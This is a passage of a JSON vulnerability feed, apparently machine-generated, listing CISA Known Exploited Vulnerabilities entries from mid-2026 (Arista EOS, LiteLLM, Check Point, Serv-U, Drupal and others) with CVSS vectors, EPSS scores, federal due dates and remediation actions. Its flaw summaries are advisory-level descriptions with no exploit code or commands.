CVE-2026-20245","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20245 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20245, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-20245","type":"primary","publishedAt":"2026-06-04T22:33:00.748Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-20245 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7473","cveId":"CVE-2026-7473","aliases":[],"kind":"vulnerability","title":"Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability","summary":"Arista Extensible Operating System (EOS) contains an incomplete comparison with missing factors vulnerability when the switch incorrectly decapsulate and forwards other unexpected tunneled packet with a destination IP matching its configured decapsulation IP.","detail":"CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-09","updatedAt":null,"regions":["Global"],"vendor":"Arista","product":"Extensible Operating System","stacks":["Arista","Extensible Operating System"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-09","dueAt":"2026-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-7473","asOf":"2026-06-05T16:22:47.989Z"},"epss":{"probability":0.01108,"percentile":0.65633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-7473&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-7473","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-7473 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-7473&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-7473, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Arista","url":"https://cveawg.mitre.org/api/cve/CVE-2026-7473","type":"primary","publishedAt":"2026-06-05T16:22:47.989Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-7473 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42271","cveId":"CVE-2026-42271","aliases":[],"kind":"vulnerability","title":"BerriAI LiteLLM Command Injection Vulnerability","summary":"BerriAI LiteLLM contains a command injection vulnerability that could allow any authenticated user, including holders of low-privilege internal-user keys, to run arbitrary commands on the host.","detail":"CISA added this entry on 2026-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-08","updatedAt":null,"regions":["Global"],"vendor":"BerriAI","product":"LiteLLM","stacks":["LiteLLM","BerriAI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-08","dueAt":"2026-06-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-42271","asOf":"2026-05-08T03:35:16.758Z"},"epss":{"probability":0.91445,"percentile":0.99811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-42271","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-42271 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42271, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitHub_M","url":"https://cveawg.mitre.org/api/cve/CVE-2026-42271","type":"primary","publishedAt":"2026-05-08T03:35:16.758Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2026-42271 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50751","cveId":"CVE-2026-50751","aliases":[],"kind":"vulnerability","title":"Check Point Security Gateway Improper Authentication Vulnerability","summary":"Check Point Security Gateway contains an improper authentication vulnerability in IKEv1 key exchange that could allow an unauthenticated remote attacker to bypass user authentication and establish a remote access VPN connection without a valid user password.","detail":"CISA added this entry on 2026-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-08","updatedAt":null,"regions":["Global"],"vendor":"Check Point","product":"Security Gateway","stacks":["Check Point","Security Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-08","dueAt":"2026-06-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-50751","asOf":"2026-08-04T03:56:11.310Z"},"epss":{"probability":0.85338,"percentile":0.99715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50751&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-50751","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-50751 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50751&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50751, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-50751","type":"primary","publishedAt":"2026-06-08T11:07:15.746Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2026-50751 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28318","cveId":"CVE-2026-28318","aliases":[],"kind":"vulnerability","title":"SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability","summary":"SolarWinds Serv-U contains an uncontrolled resource consumption vulnerability that allows specially crafted POST requests using the Content-Encoding: deflate header to crash the Serv-U service without authentication.","detail":"CISA added this entry on 2026-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-05","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Serv-U","stacks":["SolarWinds","Serv-U"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-05","dueAt":"2026-06-19","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-28318","asOf":"2026-10-21T10:29:06.114Z"},"epss":{"probability":0.43651,"percentile":0.98733,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-28318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-28318","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-28318 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-28318, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA SolarWinds","url":"https://cveawg.mitre.org/api/cve/CVE-2026-28318","type":"primary","publishedAt":"2026-06-04T14:05:58.218Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2026-28318 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45247","cveId":"CVE-2026-45247","aliases":[],"kind":"vulnerability","title":"Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability","summary":"Mirasvit Full Page Cache Warmer contains a deserialization of untrusted data vulnerability that could allow unauthenticated attackers to achieve remote code execution by supplying a crafted serialized PHP object in the CacheWarmer cookie.","detail":"CISA added this entry on 2026-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-03","updatedAt":null,"regions":["Global"],"vendor":"Mirasvit","product":"Mirasvit Full Page Cache Warmer","stacks":["Mirasvit","Mirasvit Full Page Cache Warmer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-03","dueAt":"2026-06-06","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-45247","asOf":"2026-05-26T14:15:33.596Z"},"epss":{"probability":0.26157,"percentile":0.97979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45247&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-45247","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-45247 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45247&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45247, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA VulnCheck","url":"https://cveawg.mitre.org/api/cve/CVE-2026-45247","type":"primary","publishedAt":"2026-05-26T14:15:33.596Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2026-45247 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0492","cveId":"CVE-2022-0492","aliases":[],"kind":"vulnerability","title":"Linux Kernel Improper Authentication Vulnerability","summary":"Linux Kernel contains an improper authentication vulnerability which could allow for privilege escalation via the cgroups v1 release_agent feature.","detail":"CISA added this entry on 2026-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-02","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-02","dueAt":"2026-06-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2022-0492","asOf":"2026-06-03T03:55:20.847Z"},"epss":{"probability":0.05528,"percentile":0.92757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0492","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0492 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0492, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2022-0492","type":"primary","publishedAt":"2022-03-03T00:00:00.000Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2022-0492 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48595","cveId":"CVE-2025-48595","aliases":[],"kind":"vulnerability","title":"Android Framework Integer Overflow Vulnerability","summary":"Android Framework contains an integer overflow vulnerability that allows for code execution that could allow for local privilege escalation.","detail":"CISA added this entry on 2026-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-02","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Framework","stacks":["Android","Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-02","dueAt":"2026-06-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-48595","asOf":"2026-06-03T03:55:19.122Z"},"epss":{"probability":0.01947,"percentile":0.80056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48595&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48595","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48595 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48595&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48595, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2025-48595","type":"primary","publishedAt":"2026-06-01T21:14:49.921Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2025-48595 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21182","cveId":"CVE-2024-21182","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Unspecified Vulnerability","summary":"Oracle WebLogic contains an unspecified vulnerability that could allow an unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data.","detail":"CISA added this entry on 2026-06-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-01","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-01","dueAt":"2026-06-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2024-21182","asOf":"2024-07-16T22:40:11.035Z"},"epss":{"probability":0.74162,"percentile":0.99481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21182","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21182 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21182, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA oracle","url":"https://cveawg.mitre.org/api/cve/CVE-2024-21182","type":"primary","publishedAt":"2024-07-16T22:40:11.035Z","checkedAt":"2026-10-26T18:41:00.745Z","supports":"The published CVE-2024-21182 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:41:00.745Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48027","cveId":"CVE-2026-48027","aliases":[],"kind":"vulnerability","title":"Nx Console Embedded Malicious Code Vulnerability","summary":"Nx Console contains an embedded malicious code vulnerability that allowed a malicious version of Nx Console to be published. The compromised extension fetched an obfuscated payload that could harvested credentials from multiple sources on disk and in memory.","detail":"CISA added this entry on 2026-05-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-27","updatedAt":null,"regions":["Global"],"vendor":"Nx","product":"Nx Console","stacks":["Nx","Nx Console"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-27","dueAt":"2026-06-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0185,"percentile":0.78963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48027&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48027","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48027 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48027&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48027, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48172","cveId":"CVE-2026-48172","aliases":[],"kind":"vulnerability","title":"LiteSpeed cPanel Plugin Privilege Escalation Vulnerability","summary":"LiteSpeed cPanel Plugin contains privilege escalation vulnerability that is exposed via the user-end cPanel plugin, which can be abused by any cPanel user account to execute arbitrary scripts with root privileges.","detail":"CISA added this entry on 2026-05-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-26","updatedAt":null,"regions":["Global"],"vendor":"LiteSpeed","product":"cPanel Plugin","stacks":["LiteSpeed","cPanel Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-26","dueAt":"2026-05-29","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17915,"percentile":0.97156,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48172","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48172 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9082","cveId":"CVE-2026-9082","aliases":[],"kind":"vulnerability","title":"Drupal Core SQL Injection Vulnerability","summary":"Drupal Core contains a SQL injection vulnerability that could allow for privilege escalation and remote code execution via specially crafted requests sent with the database abstraction API.","detail":"CISA added this entry on 2026-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-22","updatedAt":null,"regions":["Global"],"vendor":"Drupal","product":"Core","stacks":["Drupal","Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-22","dueAt":"2026-05-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89381,"percentile":0.99782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-9082","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-9082 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9082, scored 2026-10-25. This is a model estimate, not proof of 